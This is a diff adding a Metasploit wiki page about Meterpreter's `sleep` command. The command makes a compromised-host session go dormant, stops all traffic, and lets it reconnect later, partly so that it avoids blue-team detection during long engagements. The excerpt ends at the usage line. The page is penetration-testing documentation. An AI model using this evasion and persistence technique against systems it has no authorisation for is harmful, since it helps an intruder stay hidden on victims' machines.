a/metasploit-framework.wiki/Meterpreter-Sleep-Control.md b/metasploit-framework.wiki/Meterpreter-Sleep-Control.md new file mode 100644 index 000000000000..cec567e22f8d --- /dev/null +++ b/metasploit-framework.wiki/Meterpreter-Sleep-Control.md @@ -0,0 +1,58 @@ +There comes a time in the life of many a Meterpreter session when it needs to go quiet for a while. There are many reasons that this might be needed: + +* During an assessment, the blue team may have detected suspicious activity, and communications is too noisy. +* Long term engagements require long-term shells, but the red team isn't awake 24-hours a day, and so keeping the communications active the whole time doesn't make sense. +* Users may just want to reduce the number of shells they have to worry about at a given time and want some of them to go away for a while. + +For these reasons, and more, the new `sleep` command in Meterpreter was created. This document explains what it is and how it works. + +## Silent shells + +Noise during an assessment is not necessarily a good thing. With the advent of Meterpreter's new support and control of [multiple transports](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Transport-Control), Meterpreter has the ability to change transports and therefore change the traffic pattern for communication. However, sometimes this isn't enough and sometimes users want to be able to shut the session off temporarily. + +The `sleep` command is designed to do just that: make the current Meterpreter session go to sleep for a specified period of time, and the wake up again once that time has expired. + +During this dormant period, no socket is active, no requests are made, and no responses are given. From the perspective of Metasploit it's as if the Meterpreter session doesn't exist. + +The interface to the sleep command looks like this: + +``` +meterpreter > sleep +Usage: sleep